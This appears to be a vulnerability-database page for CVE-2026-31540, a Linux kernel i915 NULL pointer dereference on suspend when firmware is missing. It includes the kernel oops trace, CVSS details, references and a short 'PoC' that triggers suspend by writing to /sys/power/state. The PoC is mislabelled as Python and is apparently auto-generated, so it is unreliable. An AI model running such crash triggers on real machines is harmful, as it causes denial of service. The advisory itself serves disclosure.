CVE-2026-31540

Description

In the Linux kernel, the following vulnerability has been resolved: drm/i915/gt: Check set_default_submission() before deferencing When the i915 driver firmware binaries are not present, the set_default_submission pointer is not set. This pointer is dereferenced during suspend anyways. Add a check to make sure it is set before dereferencing. [ 23.289926] PM: suspend entry (deep) [ 23.293558] Filesystems sync: 0.000 seconds [ 23.298010] Freezing user space processes [ 23.302771] Freezing user space processes completed (elapsed 0.000 seconds) [ 23.309766] OOM killer disabled. [ 23.313027] Freezing remaining freezable tasks [ 23.318540] Freezing remaining freezable tasks completed (elapsed 0.001 seconds) [ 23.342038] serial 00:05: disabled [ 23.345719] serial 00:02: disabled [ 23.349342] serial 00:01: disabled [ 23.353782] sd 0:0:0:0: [sda] Synchronizing SCSI cache [ 23.358993] sd 1:0:0:0: [sdb] Synchronizing SCSI cache [ 23.361635] ata1.00: Entering standby power mode [ 23.368863] ata2.00: Entering standby power mode [ 23.445187] BUG: kernel NULL pointer dereference, address: 0000000000000000 [ 23.452194] #PF: supervisor instruction fetch in kernel mode [ 23.457896] #PF: error_code(0x0010) - not-present page [ 23.463065] PGD 0 P4D 0 [ 23.465640] Oops: Oops: 0010 [#1] SMP NOPTI [ 23.469869] CPU: 8 UID: 0 PID: 211 Comm: kworker/u48:18 Tainted: G S W 6.19.0-rc4-00020-gf0b9d8eb98df #10 PREEMPT(voluntary) [ 23.482512] Tainted: [S]=CPU_OUT_OF_SPEC, [W]=WARN [ 23.496511] Workqueue: async async_run_entry_fn [ 23.501087] RIP: 0010:0x0 [ 23.503755] Code: Unable to access opcode bytes at 0xffffffffffffffd6. [ 23.510324] RSP: 0018:ffffb4a60065fca8 EFLAGS: 00010246 [ 23.515592] RAX: 0000000000000000 RBX: ffff9f428290e000 RCX: 000000000000000f [ 23.522765] RDX: 0000000000000000 RSI: 0000000000000282 RDI: ffff9f428290e000 [ 23.529937] RBP: ffff9f4282907070 R08: ffff9f4281130428 R09: 00000000ffffffff [ 23.537111] R10: 0000000000000000 R11: 0000000000000001 R12: ffff9f42829070f8 [ 23.544284] R13: ffff9f4282906028 R14: ffff9f4282900000 R15: ffff9f4282906b68 [ 23.551457] FS: 0000000000000000(0000) GS:ffff9f466b2cf000(0000) knlGS:0000000000000000 [ 23.559588] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 23.565365] CR2: ffffffffffffffd6 CR3: 000000031c230001 CR4: 0000000000f70ef0 [ 23.572539] PKRU: 55555554 [ 23.575281] Call Trace: [ 23.577770] <TASK> [ 23.579905] intel_engines_reset_default_submission+0x42/0x60 [ 23.585695] __intel_gt_unset_wedged+0x191/0x200 [ 23.590360] intel_gt_unset_wedged+0x20/0x40 [ 23.594675] gt_sanitize+0x15e/0x170 [ 23.598290] i915_gem_suspend_late+0x6b/0x180 [ 23.602692] i915_drm_suspend_late+0x35/0xf0 [ 23.607008] ? __pfx_pci_pm_suspend_late+0x10/0x10 [ 23.611843] dpm_run_callback+0x78/0x1c0 [ 23.615817] device_suspend_late+0xde/0x2e0 [ 23.620037] async_suspend_late+0x18/0x30 [ 23.624082] async_run_entry_fn+0x25/0xa0 [ 23.628129] process_one_work+0x15b/0x380 [ 23.632182] worker_thread+0x2a5/0x3c0 [ 23.635973] ? __pfx_worker_thread+0x10/0x10 [ 23.640279] kthread+0xf6/0x1f0 [ 23.643464] ? __pfx_kthread+0x10/0x10 [ 23.647263] ? __pfx_kthread+0x10/0x10 [ 23.651045] ret_from_fork+0x131/0x190 [ 23.654837] ? __pfx_kthread+0x10/0x10 [ 23.658634] ret_from_fork_asm+0x1a/0x30 [ 23.662597] </TASK> [ 23.664826] Modules linked in: [ 23.667914] CR2: 0000000000000000 [ 23.671271] ------------[ cut here ]------------ (cherry picked from commit daa199abc3d3d1740c9e3a2c3e9216ae5b447cad)

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (versions with the vulnerable i915/gt code, e.g., 6.19.0-rc4)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-31540
 * Trigger: System suspend when i915 firmware is missing.
 */

#include <stdio.h>
#include <stdlib.h>

int main() {
    printf("[+] Attempting to trigger suspend to dereference NULL pointer...\n");
    printf("[+] Prerequisite: i915 firmware binaries are missing from the system.\n");

    // Trigger system suspend (mem state)
    // This path leads to i915_gem_suspend_late -> intel_engines_reset_default_submission
    int ret = system("echo mem > /sys/power/state");

    if (ret == -1) {
        perror("Failed to write to /sys/power/state");
        return 1;
    }

    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31540
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31540
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31540/
[4] VulDB https://vuldb.com/cve/CVE-2026-31540
[5] https://git.kernel.org/stable/c/0162ab3220bac870e43e229e6e3024d1a21c3f26
[6] https://git.kernel.org/stable/c/1a16150729db8d997e39519f9d58e6b435c4c087
[7] https://git.kernel.org/stable/c/2e20a886b443a71b573ceaed3ca7053d15380916
[8] https://git.kernel.org/stable/c/cf4b224ffb9a58181be32b64130fc36cf59c3192
[9] https://git.kernel.org/stable/c/da6552d67012a1cf0585f2eb401d0c4abcf108c9
[10] https://git.kernel.org/stable/c/db8b1bebe81ffb410ddd746b6869f72e22420850
[11] https://git.kernel.org/stable/c/df1f4a7d9cf689b4e96c95255228896505f44c31

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31540", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:27.957", "lastModified": "2026-04-28T18:52:09.670", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/i915/gt: Check set_default_submission() before deferencing\n\nWhen the i915 driver firmware binaries are not present, the\nset_default_submission pointer is not set. This pointer is\ndereferenced during suspend anyways.\n\nAdd a check to make sure it is set before dereferencing.\n\n[ 23.289926] PM: suspend entry (deep)\n[ 23.293558] Filesystems sync: 0.000 seconds\n[ 23.298010] Freezing user space processes\n[ 23.302771] Freezing user space processes completed (elapsed 0.000 seconds)\n[ 23.309766] OOM killer disabled.\n[ 23.313027] Freezing remaining freezable tasks\n[ 23.318540] Freezing remaining freezable tasks completed (elapsed 0.001 seconds)\n[ 23.342038] serial 00:05: disabled\n[ 23.345719] serial 00:02: disabled\n[ 23.349342] serial 00:01: disabled\n[ 23.353782] sd 0:0:0:0: [sda] Synchronizing SCSI cache\n[ 23.358993] sd 1:0:0:0: [sdb] Synchronizing SCSI cache\n[ 23.361635] ata1.00: Entering standby power mode\n[ 23.368863] ata2.00: Entering standby power mode\n[ 23.445187] BUG: kernel NULL pointer dereference, address: 0000000000000000\n[ 23.452194] #PF: supervisor instruction fetch in kernel mode\n[ 23.457896] #PF: error_code(0x0010) - not-present page\n[ 23.463065] PGD 0 P4D 0\n[ 23.465640] Oops: Oops: 0010 [#1] SMP NOPTI\n[ 23.469869] CPU: 8 UID: 0 PID: 211 Comm: kworker/u48:18 Tainted: G S W 6.19.0-rc4-00020-gf0b9d8eb98df #10 PREEMPT(voluntary)\n[ 23.482512] Tainted: [S]=CPU_OUT_OF_SPEC, [W]=WARN\n[ 23.496511] Workqueue: async async_run_entry_fn\n[ 23.501087] RIP: 0010:0x0\n[ 23.503755] Code: Unable to access opcode bytes at 0xffffffffffffffd6.\n[ 23.510324] RSP: 0018:ffffb4a60065fca8 EFLAGS: 00010246\n[ 23.515592] RAX: 0000000000000000 RBX: ffff9f428290e000 RCX: 000000000000000f\n[ 23.522765] RDX: 0000000000000000 RSI: 0000000000000282 RDI: ffff9f428290e000\n[ 23.529937] RBP: ffff9f4282907070 R08: ffff9f4281130428 R09: 00000000ffffffff\n[ 23.537111] R10: 0000000000000000 R11: 0000000000000001 R12: ffff9f42829070f8\n[ 23.544284] R13: ffff9f4282906028 R14: ffff9f4282900000 R15: ffff9f4282906b68\n[ 23.551457] FS: 0000000000000000(0000) GS:ffff9f466b2cf000(0000) knlGS:0000000000000000\n[ 23.559588] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[ 23.565365] CR2: ffffffffffffffd6 CR3: 000000031c230001 CR4: 0000000000f70ef0\n[ 23.572539] PKRU: 55555554\n[ 23.575281] Call Trace:\n[ 23.577770] <TASK>\n[ 23.579905] intel_engines_reset_default_submission+0x42/0x60\n[ 23.585695] __intel_gt_unset_wedged+0x191/0x200\n[ 23.590360] intel_gt_unset_wedged+0x20/0x40\n[ 23.594675] gt_sanitize+0x15e/0x170\n[ 23.598290] i915_gem_suspend_late+0x6b/0x180\n[ 23.602692] i915_drm_suspend_late+0x35/0xf0\n[ 23.607008] ? __pfx_pci_pm_suspend_late+0x10/0x10\n[ 23.611843] dpm_run_callback+0x78/0x1c0\n[ 23.615817] device_suspend_late+0xde/0x2e0\n[ 23.620037] async_suspend_late+0x18/0x30\n[ 23.624082] async_run_entry_fn+0x25/0xa0\n[ 23.628129] process_one_work+0x15b/0x380\n[ 23.632182] worker_thread+0x2a5/0x3c0\n[ 23.635973] ? __pfx_worker_thread+0x10/0x10\n[ 23.640279] kthread+0xf6/0x1f0\n[ 23.643464] ? __pfx_kthread+0x10/0x10\n[ 23.647263] ? __pfx_kthread+0x10/0x10\n[ 23.651045] ret_from_fork+0x131/0x190\n[ 23.654837] ? __pfx_kthread+0x10/0x10\n[ 23.658634] ret_from_fork_asm+0x1a/0x30\n[ 23.662597] </TASK>\n[ 23.664826] Modules linked in:\n[ 23.667914] CR2: 0000000000000000\n[ 23.671271] ------------[ cut here ]------------\n\n(cherry picked from commit daa199abc3d3d1740c9e3a2c3e9216ae5b447cad)"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.12", "versionEndExcluding": "5.15.203", "matchCriteriaId": "1DBCF7FC-ED56-411B-9D33-F0CEF61B6F85"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.167", "matchCriteriaId": " ... (truncated)